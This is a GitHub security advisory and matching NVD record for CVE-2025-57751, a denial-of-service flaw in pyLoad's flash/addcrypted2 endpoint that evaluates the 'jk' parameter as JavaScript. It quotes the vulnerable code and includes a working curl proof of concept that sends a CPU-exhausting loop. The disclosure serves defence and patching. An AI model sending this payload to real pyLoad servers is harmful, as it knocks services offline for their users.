{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.0b3.dev92"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-57751"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-08-21T20:11:52Z",
    "nvd_published_at": "2025-08-21T19:15:43Z",
    "severity": "HIGH"
  },
  "details": "Dear Maintainers,\nI am writing to you on behalf of the Tencent AI Sec. We have identified a potential vulnerability in one of your products and would like to report it to you for further investigation and mitigation.\n\n### Summary\nThe `jk` parameter is received in pyLoad CNL Blueprint. Due to the lack of `jk` parameter verification, the `jk` parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive.\n\n### Details\n- Endpoint: flash/addcrypted2\n- affected file: https://github.com/pyload/pyload/blob/develop/src/pyload/webui/app/blueprints/cnl_blueprint.py#L123\nhttps://github.com/pyload/pyload/blob/develop/src/pyload/core/utils/misc.py#L42\t\n\naffected code\n```python\n@bp.route(\"/flash/addcrypted2\", methods=[\"POST\"], endpoint=\"addcrypted2\")\n@local_check\ndef addcrypted2():\n    package = flask.request.form.get(\n        \"package\", flask.request.form.get(\"source\", flask.request.form.get(\"referer\"))\n    )\n    crypted = flask.request.form[\"crypted\"]\n    jk = flask.request.form[\"jk\"]\n    pack_password = flask.request.form.get(\"passwords\")\n\n    crypted = standard_b64decode(unquote(crypted.replace(\" \", \"+\")))\n    jk = eval_js(f\"{jk} f()\")\n\n```\n\n```python\ndef eval_js(script, es6=False):\n    if sys.version_info \u003c (3, 12):\n        return (js2py.eval_js6 if es6 else js2py.eval_js)(script)\n    else:\n        return dukpy.evaljs(script)\n```\n\n### PoC\ndownload pyload and run locally, send the following request\n- PoC\n```shell\ncurl -X POST \"http://localhost:8000/flash/addcrypted2\" \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  -d \"crypted=SGVsbG8gd29ybGQ=\" \\\n  -d \"passwords=pyload\" \\\n  -d \"jk=const start = Date.now();%0Awhile (Date.now() - start \u003c 30_000) {} //\"\n```\nThe 30_000 can be modified to any large value.\n\n\n### Impact\nSystem resources are exhausted, causing services to be temporarily interrupted or stopped, making them inaccessible to normal users.\n\nUse the following command to check CPU usage\n```shell\ntop -pid $(pgrep -f \"pyload.__main__\") \n```\nor\n```shell\ntop -pid $(pgrep -f \"pyload\") \n```\n\nThe CPU is fully occupied\n\u003cimg width=\"1209\" height=\"134\" alt=\"image\" src=\"https://github.com/user-attachments/assets/5f9338fe-90c8-4e99-bd8e-a5b5c5a81a6e\" /\u003e\n\nweb-ui unresponsive\n\u003cimg width=\"1209\" height=\"496\" alt=\"image\" src=\"https://github.com/user-attachments/assets/7100cdb6-e4d5-4d0c-a138-51b08a7b1fbd\" /\u003e",
  "id": "GHSA-9gjj-6gj7-c4wj",
  "modified": "2025-08-22T15:01:48Z",
  "published": "2025-08-21T20:11:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-9gjj-6gj7-c4wj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-57751"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Denial-of-Service attack in pyLoad CNL Blueprint using dukpy.evaljs"
}

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "pyLoad is the free and open-source Download Manager written in pure Python. The jk parameter is received in pyLoad CNL Blueprint. Due to the lack of jk parameter verification, the jk parameter input by the user is directly determined as dykpy.evaljs(), resulting in the server CPU being fully occupied and the web-ui becoming unresponsive. This vulnerability is fixed in 0.5.0b3.dev92."
    },
    {
      "lang": "es",
      "value": "pyLoad es un gestor de descargas gratuito y de c\u00f3digo abierto, escrito en Python puro. El par\u00e1metro jk se recibe en el CNL Blueprint de pyLoad. Debido a la falta de verificaci\u00f3n del par\u00e1metro jk, el par\u00e1metro jk introducido por el usuario se determina directamente como dykpy.evaljs(), lo que provoca que la CPU del servidor se ocupe por completo y que la interfaz web deje de responder. Esta vulnerabilidad se corrigi\u00f3 en la versi\u00f3n 0.5.0b3.dev92."
    }
  ],
  "id": "CVE-2025-57751",
  "lastModified": "2025-08-22T18:08:51.663",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 7.7,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "PROOF_OF_CONCEPT",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "NONE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
          "vulnConfidentialityImpact": "NONE",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2025-08-21T19:15:43.227",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-9gjj-6gj7-c4wj"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-400"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}